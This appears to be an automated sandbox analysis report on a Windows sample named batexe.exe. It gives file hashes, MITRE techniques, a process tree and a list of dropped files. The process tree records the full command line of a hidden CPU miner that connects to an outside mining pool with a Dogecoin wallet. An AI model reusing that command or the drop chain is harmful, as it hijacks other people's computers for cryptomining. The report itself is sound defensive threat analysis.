73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 16:12

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3240	b2e.exe
5316	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5316	cpuminer-sse2.exe
5316	cpuminer-sse2.exe
5316	cpuminer-sse2.exe
5316	cpuminer-sse2.exe
5316	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5496-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5496 wrote to memory of 3240	5496	batexe.exe	84
PID 5496 wrote to memory of 3240	5496	batexe.exe	84
PID 5496 wrote to memory of 3240	5496	batexe.exe	84
PID 3240 wrote to memory of 4756	3240	b2e.exe	85
PID 3240 wrote to memory of 4756	3240	b2e.exe	85
PID 3240 wrote to memory of 4756	3240	b2e.exe	85
PID 4756 wrote to memory of 5316	4756	cmd.exe	88
PID 4756 wrote to memory of 5316	4756	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5496
- C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
18.2MB

MD5
974f596fd92d1a0dc901f00b58072743

SHA1
a439003642adf81c10455a7367a261a05f2522a0

SHA256
3f367bf3597cdf284d66afa4dc24b59490a0d67ec12b60c222a81c7dfaafef64

SHA512
2fbea730f6727ef007042f06ed92baf68d110f3180ff43a1674111c93003ec2c5bd29b1c5e7e97828dcd913fb0489676c2ebc896c686e0e0bd577eadaaef36ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
6.3MB

MD5
90acddd0adb97fd62e31fcf0a8d84c94

SHA1
2f115173b171cce53f63d38ea4fb7b2444179925

SHA256
1fee15376eadee82bd706bda82dc04eee61e8db8c8ad79aab059e27f79039436

SHA512
3ed3e6ad3d8c24b9443b46b0c9f48f15fbdc158251323707ded1d7d8a870704128a851f1a7ac6aa84087ecc874bfb011c67d2b6cbdba8676e1a26ea9aa9f875c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
6.9MB

MD5
9b427ea617fcf5be05bee6552de33f77

SHA1
0efe87abb2a95bae9901ff62e459720ea2334299

SHA256
cfe7d9b4803eaf42a2a26bee481dfb698a432198f1f78dc7fbd4d18d7f47f878

SHA512
f46324ee35522a81ef0d867d74a43d8b1f0ee65363c1823072c4edbe9e668f51427f12af7cd0ebb216c5a0015e57bec7163884f0e1b9040dc94b657de1a5590c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
f704d2f0366fdebc74c6b799e1dd4d5c

SHA1
025ed7ebcfe83076b94fbd342f942728e77412a0

SHA256
1820f457777cbf4593a46c918e51a73e52e28b18233c21a532b877895e67ec9d

SHA512
5fc8d30e218fbe8378bae847fc2ad8f94b681960503c908c4347f831f4174a8adbfc79818db5c4b847f6477aac8328ef6831be9b51ec9089ad31cbd2568a435f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
911f4bf949aa891b94a71a1fc6c49974

SHA1
1c04242f8a5ff76e924830243651d5724c0e1674

SHA256
c8f5f57839528f3b2189512449bb428ec7a9c73ad16afc0f76088a817406d071

SHA512
ae6eb57d944ba91812a442c9cfe7e36ff291b1a688e61ecd11d86a8dab838c2d0948b8f1e4ebbe28bb74133f7171dc39914f58e029c98d41b315dbcde29fbeda

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
7550489795be962e6b80a3f6344dc7a4

SHA1
1742c43289f631b2a3227da1f203c2205bf8e1a3

SHA256
7eaa7397e2d10a6a9c3857b7af88de59572c1d5173c042f66e375c169c17b178

SHA512
84ef32e14a02d866501d6020e32ae47dd48a9c38c3a60122d601b7e4a6d721e359b30a4c5747c156b51ed57f45c69bfea54fb9839caa05eb6853ac6af41b3f69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3240-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3240-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5316-46-0x0000000064990000-0x0000000064A28000-memory.dmp

Filesize
608KB

Download
memory/5316-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5316-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5316-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/5316-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5316-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download